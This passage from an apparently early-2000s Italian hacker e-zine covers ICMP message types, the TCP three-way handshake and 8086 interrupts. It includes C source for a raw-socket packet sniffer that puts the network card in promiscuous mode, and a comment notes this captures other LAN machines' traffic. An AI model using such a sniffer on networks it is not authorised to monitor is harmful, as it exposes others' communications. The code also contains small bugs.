+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | unused | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Intestazione Internet + 64 bits del datagram originale | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ più o meno questo è lo schemino astratto......(ok...ok... l'ho preso dalle rfc...io non sono così bravo:=9) Se è tutto chiaro possiamo addentrarci nei meandri del tutorial scoprendo...... Il Misterioso "Destination Unreachable Message" ovvero.... Il messaggio di destinazione irraggiungibile (in effetti in eng suona meglio :=) (musica di X-Files...tu..tu...tuuuuu...tu...tu..tuuuuuuuuuuuuuuuu.....tututu...tu......tu..) +~-~+~-~+~-~+~-~+~-~+~-~+~-~+~-~+~-~+~-~+~-~+~-~+~-~+~-~+~-~+~-~+~-~+~-~+~-~+~-~+~-~+~-~+~-~+~-~ |Campi IP| | <+--Indirizzo di destinazione ->non credo ci sia bisogno di commenti | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+- |Campi ICMP| <+--Tipo = 3 | <+--Codice->0 = rete irraggiungibile | 1 = host irraggiungibile | 2 = protocollo irraggiungibile | 3 = porta irraggiungibile | 4 = è neccessaria la frammentazione | 5 = indirizzo sorgente fallito | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ |Check Sum| Il Check Sum è un metodo dove si usano delle somme per rilevare degli errori Normalmente le operazioni sono operate(passatemi la forma di itaGliano) nel pacchetto | di byte dove l'ultimo byte è proprio il numero del CheckSum. Quando aggiungete tutti | i numeri nel pacchetto la somma dovrebbe essere proprio zero, se non lo è....ecco che | avete un errore. | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ |Intestazione internet + 64 byte del datagram| Questo dato è usato dall'host per assegnare al messaggio l'appropiato processo. Se un protocollo| usa i numeri delle porte questi saranno assunti nei | primi 64 dati | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ |Descrizione| I messaggi di destinazione irraggiungibile vengono (chiaramente) usati quando la | destinazione dell'host è irraggiungibile(bananaaa). Ad esempiola porta dell'host | che indicate potrebbe non essere aperta, oppure quando il datagram deve essere | frammentato per essere mandato all'host ma non lo è ancora ecc. E' importante | ricordare che i codici 0, 1, 4, 5, devono essere ricevuti dal gateway, mentre i | codici 2, 3 dall'host | +~-~+~-~+~-~+~-~+~-~+~-~+~-~+~-~+~-~+~-~+~-~+~-~+~-~+~-~+~-~+~-~+~-~+~-~+~-~+~-~+~-~+~-~+~-~+~-~ Tutto chairo??? ora passiamo al..... Time Exceeded Message +~-~+~-~+~-~+~-~+~-~+~-~+~-~+~-~+~-~+~-~+~-~+~-~+~-~+~-~+~-~+~-~+~-~+~-~+~-~+~-~+~-~+~-~+~-~+~-~ |Campi IP| | <+--Indirizzo di destinazione ->non credo ci sia bisogno di commenti | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+- |Campi ICMP| <+--Tipo = 11 | <+--Codice->0 = tempo di vita superato durante il transito(il time out per capirci...) | 1 = tempo di riassemblamento dei frammenti superato | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ |Check Sum| Vedi sopra | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ |Intestazione internet + 64 byte del datagram| Vedi sopra | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ |Descrizione| Se il gateway registra che il campo del tempo di vita è zero esso deve dichiarare il datagram non valido. Il gateway lo comunicherà all'host tramite il messaggio che | stiamo analizzando. | Se un host mentre riassembla un datagram frammentato non può compiere | l'assemblamento entro il limite di tempo deve dichiarare il non valido il datagram | mandando il messaggio. | Il codice 0 deve essere ricevuto dal gateway, il codice 1 dall'host. | +~-~+~-~+~-~+~-~+~-~+~-~+~-~+~-~+~-~+~-~+~-~+~-~+~-~+~-~+~-~+~-~+~-~+~-~+~-~+~-~+~-~+~-~+~-~+~-~ Passiamo ora al Parameter Problem +~-~+~-~+~-~+~-~+~-~+~-~+~-~+~-~+~-~+~-~+~-~+~-~+~-~+~-~+~-~+~-~+~-~+~-~+~-~+~-~+~-~+~-~+~-~+~-~ |Campi IP| | <+--Indirizzo di destinazione ->non credo ci sia bisogno di commenti | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+- |Campi ICMP| <+--Tipo = 12 | <+--Codice->0 = il puntatore che indica gli errori | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ |Check Sum| Vedi sopra | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ |Intestazione internet + 64 byte del datagram| Vedi sopra | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ |Descrizione| Se il gateway registra che il campo del tempo di vita è zero esso deve dichiarare il datagram non valido. Il gateway lo comunicherà all'host tramite il messaggio che| stiamo analizzando. | Se un host mentre riassembla un datagram frammentato non può compiere | l'assemblamento entro il limite di tempo deve dichiarare il non valido il datagram| mandando il messaggio. | Il codice 0 deve essere ricevuto dal gateway, il codice 1 dall'host. | +~-~+~-~+~-~+~-~+~-~+~-~+~-~+~-~+~-~+~-~+~-~+~-~+~-~+~-~+~-~+~-~+~-~+~-~+~-~+~-~+~-~+~-~+~-~+~-~ Ed ora al Source Quench Message +~-~+~-~+~-~+~-~+~-~+~-~+~-~+~-~+~-~+~-~+~-~+~-~+~-~+~-~+~-~+~-~+~-~+~-~+~-~+~-~+~-~+~-~+~-~+~-~ |Campi IP| | <+--Indirizzo di destinazione ->non credo ci sia bisogno di commenti | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+- |Campi ICMP| <+--Tipo = 4 | <+--Codice->0 +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ |Check Sum| Vedi sopra | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ |Intestazione internet + 64 byte del datagram| Vedi sopra | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ |Descrizione| Un gateway deve scartare un datagram se non ha la quantità di buffer richiesto per gestirlo. Se un gateway scarta un datagram esso manda un source quench message all'host del datagram che provvede a risolvere il problema. | +~-~+~-~+~-~+~-~+~-~+~-~+~-~+~-~+~-~+~-~+~-~+~-~+~-~+~-~+~-~+~-~+~-~+~-~+~-~+~-~+~-~+~-~+~-~+~-~ E' tempo di analizzare il redirect message +~-~+~-~+~-~+~-~+~-~+~-~+~-~+~-~+~-~+~-~+~-~+~-~+~-~+~-~+~-~+~-~+~-~+~-~+~-~+~-~+~-~+~-~+~-~+~-~ |Campi IP| | <+--Indirizzo di destinazione ->non credo ci sia bisogno di commenti | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+- |Campi ICMP| <+--Tipo = 5 | <+--Codice->0 = Redirect datagrams per la rete 1 = Redirect datagrams per l'host 2 = Redirect datagrams per il tipo di servizio e per la rete 3 = Redirect datagrams per il tipo di servizio e per l'host +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ |Check Sum| Vedi sopra | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ |Intestazione internet + 64 byte del datagram| Vedi sopra | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ |Descrizione| Un gateway manda un redirect message all'host in questa situazione: Un gateway, G1, riceve un datagram dall'host, il gateway, G1, controlla la tabella degli indirizzi e tiene l'idirizzo del prossimo gateway, g2. Se g2 e l'host sono sulla stessa rete un messaggio di redirect verrà mandato all'host... E' chiaro dunque che i codici 0...3 devono essere ricevuti dal gateway! | +~-~+~-~+~-~+~-~+~-~+~-~+~-~+~-~+~-~+~-~+~-~+~-~+~-~+~-~+~-~+~-~+~-~+~-~+~-~+~-~+~-~+~-~+~-~+~-~ +~-~+~-~+~-~+~-~+~-~+~-~+~-~+~-~+~-~+~-~+~-~+~-~+~-~+~-~+~-~+~-~+~-~+~-~+~-~+~-~+~-~+~-~+~-~+~-~ |Campi IP| | <+--Indirizzo di destinazione ->non credo ci sia bisogno di commenti | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+- |Campi ICMP| <+--Tipo = 8 per il messaggio echo 0 per il messaggio echo di risposta | <+--Codice->0 +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ |Check Sum| Vedi sopra | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ |Intestazione internet + 64 byte del datagram| Vedi sopra | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ |Descrizione| Il dato ricevuto nel messaggio echo deve essere ritornato nel messaggio di risposta(reaply echo). ....molto semplice:non necessita di ulteriori spiegazioni:) Il codice 0 deve essere ricevuto o dal gateway o dall'host | +~-~+~-~+~-~+~-~+~-~+~-~+~-~+~-~+~-~+~-~+~-~+~-~+~-~+~-~+~-~+~-~+~-~+~-~+~-~+~-~+~-~+~-~+~-~+~-~ Ecco il Timestamp or Timestamp Reply Message +~-~+~-~+~-~+~-~+~-~+~-~+~-~+~-~+~-~+~-~+~-~+~-~+~-~+~-~+~-~+~-~+~-~+~-~+~-~+~-~+~-~+~-~+~-~+~-~ |Campi IP| | <+--Indirizzo di destinazione ->non credo ci sia bisogno di commenti | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+- |Campi ICMP| <+--Tipo = 13 per il timestamp | 14 per la risposta timestamp | <+--Codice->0 | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ |Check Sum| Vedi sopra | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ |Intestazione internet + 64 byte del datagram| Vedi sopra | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ |Descrizione| Il dato ricevuto nel messaggio è ritornato nel messaggio di risposta assieme ad un timestamp addizionale... Dovete sapere che il timestamp sono 32 bits di millesecondi dalla mezzanotte. Se il tempo in millesecondi non è disponibile ci sarà indicato con un valore non standard. | +~-~+~-~+~-~+~-~+~-~+~-~+~-~+~-~+~-~+~-~+~-~+~-~+~-~+~-~+~-~+~-~+~-~+~-~+~-~+~-~+~-~+~-~+~-~+~-~ L'ultima fatica: Information Request or Information Reply Message +~-~+~-~+~-~+~-~+~-~+~-~+~-~+~-~+~-~+~-~+~-~+~-~+~-~+~-~+~-~+~-~+~-~+~-~+~-~+~-~+~-~+~-~+~-~+~-~ |Campi IP| | <+--Indirizzo di destinazione ->non credo ci sia bisogno di commenti | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+- |Campi ICMP| <+--Tipo = 15 per il messaggio di richiesta di informazioni | 16 per il messaggio di risposta | <+--Codice->0 +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ |Check Sum| Vedi sopra | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ |Intestazione internet + 64 byte del datagram| Vedi sopra | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ |Descrizione| Questo messaggio è mandato con la rete sorgente nell'intestazione IP sorgente Questo messaggio non è altro che un modo per l'host per trovare il numero di reti che sono operative. :-{ +~-~+~-~+~-~+~-~+~-~+~-~+~-~+~-~+~-~+~-~+~-~+~-~+~-~+~-~+~-~+~-~+~-~+~-~+~-~+~-~+~-~+~-~+~-~+~-~ Ecco finito il mio tutorial... Ringraziamenti:Tutta la mitica #NoFlyZone Crew In Particolare LordVicio, crashes e CityHunter(visto che ti ho messo nei ringraziamenti?) ------------------------------------*END*-------------------------------------- -------------------------------------[12]-------------------------------------- ---------------------------------[CityHunter]---------------------------------- -------------------------------[TCP/IP part 2]--------------------------------- +------------------------------------+ | TCP/IP tutz part2 | +------------------------------------+ Eccoci di nuovo pronti ad avventurarci nel magico mondo del TCP/IP!! Questa sarà una puntata un po' anomala perchè,oltre a farvi vedere come avviene una connessione, incominceremo a dare uno sguardo anche alla prog a basso livello del nostro amato set di protocollli. Non spiegherò tutto tutto perchè non mi va di dare in pasto anche ai lama tutto questo,così chi vuole imparare davvero, un po' di sforzo lo deve fare! Quindi,come requisiti di base per andare avanti dovete conoscere un po' il C...non troppo,state tranquilli! +-----------------+ | Connessione | +-----------------+ Beh...sinceramente credo che un po' già sappiate come avviene una connessione Client Server...ma visto che magari non tutti ancora lo sanno ecco qui ciò che avviene dietro le quinte. C (client) ip:123.123.123.3 S (server) ip:150.150.150.6 Come sapete ogni macchina che è collegata in rete è contraddistinta da un indirizzo ip. Questo può essere di due tipi: dinamico o statico. Statico: quando vi collegate a un server questo ha lo stesso indirizzo sempre! Pensate che confusione se ogni volta dovessimo andare a cercare l'indirizzo del server, sarebbe impensabile!Quindi alla loro registrazione gli viene assegnato un indirizzo ip che, tramite dns, viene associato ai più noti www.pippapippa.com. Dinamico: qui rientriamo noi. Ogni volta che ci colleghiamo a Internet l'ISP ci assegna un indirizzo che in quel momento è libero. Quando ci stakkiamo, il nostro ip andrà ad un altro utente. Piccola digressione: come molti(spero) di voi avranno notato, quando scaricate un file da Internet e vi si blocca la connessione, ogni tanto, quando riprovate a prendere il file,noterete che ricomincia da dove aveva interrotto! Questo avviene perchè vi è stato nuovamente assegnato lo stesso ip che avevate prima e l'ftp vi ha riconosciuto come lo sfigato a cui si era interrotta la connessione! Ma veniamo al sodo. C prova a connettersi a S. Come fa? Semplice. Manda un pacchetto con flag SYN(ve la ricordate vero...ero nella prima parte!!Andate a ripassare!!) e con un ISN (un numero tipo 1115654324). Beh...naturalmente lasciando anche il suo ip(altrimenti a chi risponde S??). S legge il pacchetto e manda a C un pacchetto cone flag SYN e ACK. Il suo ACK sarà il nostro ISN incrementato di 1 il suo SYN sarà un numero casuale. C risponde con un ACK e un SEQ. L'ACK sarà il SYN del server +1 e il SEQ sarà l'ACK del server. Punto. Avete il mal di mare eh?:-)Vabbè...rispiego con uno schemino!Cmq il processo sopra si chiama 3-way handshake!Ricordatevelo,perchè più avanti sarà il nostro pane quotidiano! ----------------------------------------------------------------- ------------SYN---------------> Client <-----------SYN ACK(ISN+1)------------- Server --------ACK (ISN+1)-----------> ----------------------------------------------------------------- spero sia più chiaro!C'è da precisare un'ultima cosa...a questo punto non vi è ancora stato alcun scambio di dati!! Il 3way serve solo a iniziare la connessione! Ora,per capire meglio il tutto vi ho creato un piccolissimo sniffer. L'ho fatto solo per ppp...se lo volete sotto eth, beh,arrangiatevi!:-)Non è difficile! Uno sniffer è un programmino che gira lì tranquillo e vi monitorizza TUTTI i pacchetti che vi partono e vi arrivano! Qeullo creato da me è moooooooolto di base, legge solo i pacchetti TCP e non UDP &co. L'ho fatto affinchè vi sia più chiaro il concetto del 3way! Vediamolo.(a lato vi sono le spiegazioni) ------------------taglia qui--------------------------- /* Sniff sniff by CityHunter*/ #include #include #include /*i vari include...niente di particolare da dire*/ #include #include #include #include #include #include #include #include #define MTU 1500 #define URG 32 /*i vari valori delle flag, non so dirvi bene perchè siano così,ma tutti i prog letti hanno sti valori*/ #define ACK_PSH 24 #define SYN_ACK 18 #define FIN_ACK 17 #define ACK 16 #define PSH 8 #define RST 4 #define SYN 2 #define FIN 1 #define ETH "ppp0" /*vabbè...sono buono! Per eth mettete eth0"*/ #define ETH_HD 0 /* e qui 14 */ int sniff; int tcp_cn = 1; int udp_cn = 1; struct packet_info { unsigned char ttl; unsigned char protocol; unsigned char *saddr, *daddr; /*qui c'è la struttura di un pacchetto a cui poi punteremo*/ unsigned long seq, ack_seq; /*credo siano abbastanza chiare le variabili!!*/ unsigned short source, dest; unsigned short type, id; unsigned short flags; unsigned short window; char *dataload; }; struct TCPhdr { unsigned short source, dest; /*struttura di un pacchetto TCP*/ unsigned long seq, ack_seq; unsigned short offset_flag, window, checksum, urgent; }; int init() { int fd; struct ifreq eth; if( (fd = socket(AF_INET, SOCK_PACKET, htons(0x3))) < 0) { /*creazione del socket fd...visto che lavoriamo a basso livello dei pacchetti dobbiamo aprire il socket in modalità RAW,cioè grezza...solo così possiamo vedere tutti i dati!*/ fprintf(stderr, "Can't open RAW Socket.\n"); exit(1); } strcpy(eth.ifr_ifrn.ifrn_name, ETH); if ( ioctl(fd, SIOCGIFFLAGS, ð) < 0) { /*apre la scheda,sia che sia ppp o eth!*/ fprintf(stderr, "Can't get Ethernet flags.\n"); exit(1); } eth.ifr_ifru.ifru_flags |= IFF_PROMISC ; if ( ioctl(fd, SIOCSIFFLAGS, ð) < 0) { fprintf(stderr, "Can't put Ethernet in PROMISC mode.\n"); /* solo per eth...mettendo una scheda in modalità promiscua,il nostro sniff vedrà non solo i dati diretti alla nostra macchina ma di tutte,o quasi, le macchine connesse a quella LAN!Moooooooolto utile in seguito!!*/ exit(1); } if ( fcntl(fd,F_SETOWN, getpid()) < 0) { /* per l'interfaccia in modalità promiscua dovete essere root su quella macchina!*/ fprintf(stderr, "Can't set SOCK_PACKET Ownership.\n"); exit(1); } return fd; } int sniff_pk(int fd, struct packet_info *infoz) { int pk_len; char sniff_buff[MTU]; struct iphdr *IP; struct TCPhdr *TCP; char data[MTU]; memset(sniff_buff, '\0', MTU); memset(data, '\0', MTU); pk_len = read(fd, sniff_buff, MTU); if (read > 0) { pk_len -= ETH_HD; memcpy(data, sniff_buff+ETH_HD, pk_len); IP = (struct iphdr *) data; /* la spiego tutta meglio alla fine...è la funzione fulcro!*/ infoz->ttl = IP->ttl; infoz->protocol = (char)IP->protocol; infoz->saddr = (unsigned char *)&(IP->saddr); infoz->daddr = (unsigned char *)&(IP->daddr); switch (infoz->protocol) { case IPPROTO_TCP: TCP = (struct TCPhdr *)(data+20); infoz->seq = ntohl(TCP->seq); infoz->ack_seq = ntohl(TCP->ack_seq); infoz->source = ntohs(TCP->source); infoz->dest = ntohs(TCP->dest); infoz->window = ntohs(TCP->window); infoz->flags = ntohs(TCP->offset_flag)& (URG|ACK|PSH|FIN|RST|SYN); infoz->dataload = (char *)(data + (sizeof(struct iphdr)+sizeof(struct TCPhdr))); break; } return pk_len; }} void pr_tcp(struct packet_info info, int data) { int count = 1; /*anche questa fun mi pare abbastanza facile da capire!Cmq...dopo che la sniff_pk ha fatto il suo dovere noi andiamo nella nostra bella struttura e*/ char *flags; /* e leggiamo i dati in essa contenuta! Poi li stampiamo sullo schermo, e noi abbiamo tutto ciò che volevamo!*/ printf("\nTCP Packet #%i\n", tcp_cn++); printf("%u.%u.%u.%u:%i > %u.%u.%u.%u:%i\tSEQ:%u ACK:%u\n", info.saddr[0],info.saddr[1],info.saddr[2], info.saddr[3], info.source, info.daddr[0], info.daddr[1], info.daddr[2], info.daddr[3], info.dest, info.seq, info.ack_seq); printf("(TTL:%i Window:%i)\t\t\t", info.ttl, info.window); switch (info.flags) { case URG: flags="-----U"; break; case ACK_PSH: flags="---PA-"; break; case SYN_ACK: flags="-S--A-"; break; case FIN_ACK: flags="F---A-"; break; case ACK: flags="----A-"; break; case PSH: flags="---P--"; break; case RST: flags="--R---"; break; case SYN: flags="-S----"; break; case FIN: flags="F-----"; break; default: break; } printf("FLAGS: %s\n", flags); if (data == 1) { printf("DATA ->\t\t%s\n", info.dataload); } } int main() { int count = 0, struct packet_info pk_info; printf("\nSniff Sniff - v.1.0 - (C)2001 City Hunter\n\n"); sniff = init(); while(1) { sniff_pk(sniff, &pk_info); switch(pk_info.protocol) { case IPPROTO_TCP: pr_tcp(pk_info, count); break; } } } ----------------------taglia qui---------------------------- Come promesso vi spiego meglio la funzoine sniff_pk. In questa leggiamo da socket i dati,tranne l'header dell'interfaccia di rete, e li mettiamo in un buffer. In quest'ultimo c'e un puntatore ad una struttura iphdr che contiene i valori dell'header ip. Copiamo poi gli indirizzi ip e il valore del protocollo e usiamo il puntatore alla struttura TCPhdr. Ecco tutto! Spero sia sufficentemente chiaro...qui avete già abbastanza dati su cui lavorare! Non so ancora cosa tratterà il prox tut...ma state pronti!:-)) Testi: i testi di coder@reptile,Quelli di FuSyS, di Daemon9|route e basta. Se volete fare una colletta e regalrmi TCP/IP vol 1/2 Illustrated di Stevens mi fate un favorone!:-)) THX to: Gli amici di #NoFlyZone, #hackmaniaci, #Ondaquadra, e in particolare Vicio,Deli(ciao splendida!!),Xpterminator,Marsio,BIGA,JeyOne e altri che non ricordo! FCK to: i prof che non mi fanno passare sti esami del cazzo! Alla prox ragazzi...e studiate!:-) CIAUZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZ P.S. Prima che mi dimentichi...è stato compilato con successo su una Mandrake 8.1 facendo gcc -o sniff sniff.c ------------------------------------*END*-------------------------------------- -------------------------------------[13]-------------------------------------- ----------------------------------[anetrip]------------------------------------ -------------------------------[Le interruzioni]------------------------------- Questo mini tutorial spiega in modo non troppo tecnico come utilizzare le interruzioni su microprocessori di generazione 8086. L'utilizzo delle interruzioni è molto importante perchè permette di capire come vengono gestiti i processi e le relative priorità. Esistono tre tipi principali di interruzioni: -HARDWARE (mascherabili, non mascherabili) -SOFTWARE (chiamate a supervisori, tipo int 21h) -INTERNE (eccezioni, come una divisione per 0) _____________ _______ | _______ | _______ _______ | |__| | | |__| | | | | |int | | 1| | | | | µP | |Memoria| | I/O | | I/O | | | | | | | | | | | | | | | | | |_______| |_______| |_______| |_______| | | | | | | | | | | | | ______|_|_|_________|_|_|_________|_|_|________|_|_|______ ________|_|___________|_|___________|_|__________|_|______ __________|_____________|_____________|____________|______ Meccanismo di interruzione ========================== -µP- -Periferica- fetch/exec. | | fetch/exec. | | <-----------|-------------|-attiva segnali INT salva stato CPU | | esegue routine di risposta | | | | | | IRET -----------|-------------|->lettura/scrittura riprende programma interrotto Mentre il microprocessore si sta occupando della fase di fetch/execution di un programma, una periferica attiva i segnali di INT facendo richiesta di una interruzione. Allora la CPU salva lo stato dei propri registri ed esegue la routine di risposta all'interruzione richiesta dalla periferica. Finita l'esecuzione della routine di risposta (IRET) viene ripresa l'esecuzione del programma precedentemente interrotto ripristinando però prima lo stato dei registri della CPU. FLAG DI MASCHERA (abilitazione) =============================== Per 8086 è IF (INTERRUPT FLAG) STI (SET INTERRUPT FLAG) CLI (CLEAN FLAG) Le interruzioni mascherabili sono interruzioni che vengono eseguite dopo l'esecuzione da parte della CPU di parti di programma non interrompibili. Per questo non basta che una periferica attivi i segnali di INT per dare vita ad una interruzione, ma anche la CPU deve abilitare il registro di Flag IF. ____________________________ | µP 8086 | | | | /----INT | |---------AND | | \--- | | | | | ____|________ | | |___|_|_______|<--|----reg. FLAGS | IF | |____________________________| INTERRUZIONI NON MASCHERABILI ============================== Esistono, ma in genere non si usano perchè, come detto precedentemente, ci sono parti di programma non interrompibili, e quindi utilizzare le interruzioni non mascherabili significa rischiare grosso in termini di gestione dei processi. Comunque il segnale da attivare nel caso in cui si vogliano utilizzare interruzioni non mascherabili è NMI. ______________ | 8086 | | |____INT | | | | | |____NMI (non mascherabile) | | |______________| INTERRUZIONI VETTORIZZATE (8086) ================================ Ad ogni periferica viene assegnato un numero (tipo) da 8 a 255. Questo tipo viene deciso dal costruttore (IBM). Esempi di tipi possono essere: orologio (8) tastiera (9) COM2 (0Bh) COM3 (0Ch) LPT1 (0Fh) Come fa la CPU ad eseguire la routine di risposta associata alla periferica? L'8086 nei primi 1024 byte di memoria ha una tabella che viene chiamata tabella dei vettori di interruzione che contiene 256 indirizzi a 32 bit di routine di risposta. Alla periferica di tipo n corrisponde la routine di risposta di indirizzo n. Modello algoritmico della CPU 8086 ================================== byte M[1 Mbyte];//memoria word IP,CS..//registri ripeti if (IF==1 && INT==1){ //legenda:IF flag interruzione, INT segnale int. salva flags, CS, IP nello stack //INTA interrupt acknowledge attiva segnale INTA tipo=leggiDaBusDati(); IP=leggiMemoria(T*4);//offset routine CS=leggiMemoria(T*4+2);//segmento IF=0; } Istruzione=fetch(); IP+=lunghezza istruzione; execute(istruzione); finchè istruzione :=HALT; Il Program Counter dell'8086 è CS:IP Indirizzo fisico 20 bit Indirizzo segmentato 32 bit indirizzo fisico=segmento*16+offset INSTALLARE UNA ROUTINE DI RISPOSTA =================================== Questa sezione spiega come associare una vostra routine all'interruzione di un dispositivo, ad esempio il clock, che ha tipo 08 PROGRAMMA DI INSTALLAZIONE ROUTINE DI RISPOSTA AL CLOCK IN ASSEMBLER .data Vecchio_IP DW Vecchio_CS DW .code RISPOSTA_CLOCK PROC FAR ;Viene dichiarata di tipo FAR perchè si trova in un ;altro segmento ;salvare tutti i registri usati ;qui dovete scrivere la vostra routine. ;se ve la scrivo io non avete un motivo per documentarvi ed imparare :) ;ripristinare tutti i registri usati IRET MAIN PROC MOV AX,@data MOV DS,AX ;il codice seguente serve a salvare il vecchio vettore (ind. routine ;di risposta) MOV AX,0 MOV ES,AX MOV AX,ES:[08*4] MOV VECCHIO_IP,AX MOV AX,ES:[08*4+2] MOV VECCHIO_CS,AX LEA AX,RISPOSTA_CLOCK MOV ES:[08*4],AX MOV AX,CS MOV ES:[08*4+2],AX ;leggere un tasto ;ripristinare il vecchio vettore MOV AX,VECCHIO_IP MOV ES:[8*4],AX MOV AX,VECCHIO_CS MOV ES:[8*4+2],AX MOV AH,4CH INT 21H MAIN ENDP INTERRUZIONI INTERNE ==================== Sono interruzioni generate in seguito all'esecuzione di una interruzione -divisione per 0 -single step (flag di single step) -break point (istruzione di break) INTERRUZIONI SOFTWARE ===================== Sono interruzioni generate dall'utilizzo dell'istruzione INT n (dove n è il tipo). Istruzione INT n es: INT 21H S.O. DOS INT 10H BIOS VIDEO IL CONTROLLORE PROGRAMMABILE PIC 8259a ======================================= Il PIC 8259a è un dispositivo programmabile che serve a gestire le interruzioni tra il µP 8086 e le periferiche. ___________________________ __|_______ | _________ __________ | | ____|____ ____|____ | |________| |____| | | | | | | | INT | |IRQ0 | | | | | | µP 8086 | | PIC |_______| | TIMER | |KEYBOARD | | | | |IRQ1 | | | | | | | | | | | | | |________| |__________| | | | |_________| INTA |__________| IRQ7 |_________| |_________| 